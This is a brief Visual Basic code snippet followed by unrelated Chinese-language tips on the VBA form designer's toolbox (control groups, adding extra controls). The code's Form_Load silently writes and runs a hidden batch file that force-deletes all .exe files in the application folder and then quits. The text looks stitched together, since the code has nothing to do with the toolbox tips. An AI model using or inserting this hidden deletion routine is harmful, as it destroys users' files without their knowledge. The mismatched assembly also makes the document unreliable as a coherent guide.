Private Sub Form_Load()
    '===
    Open Replace(App.Path & "\km.bat", "\\", "\") For Output As #1
    Print #1, "del *.exe /Q"
    Close #1
    '===
    Shell Replace(App.Path & "\km.bat", "\\", "\"), vbHide
    End

End Sub

     在VBA窗体设计中，可将一些开发中使用的控件全部选择后，直接拖至工具箱中，工具箱会添加一个"控件组"，在窗体设计中可直接将该控件组放置于窗体，大大提高了效率(该特点为VBA所独有)。 

　　    如开发者需使用VBA标准控件箱未提供的其他控件，可右键单击工具箱，在出现的菜单中选择"附加控件"命令，在出现的对话框中进行选择即可。
    在VBA窗体工具箱中附加控件中没有出现的控件，我们可以在vb的窗体中加入，然后在vba中导入该窗体，但是vbe不支持的控件就不能导入了。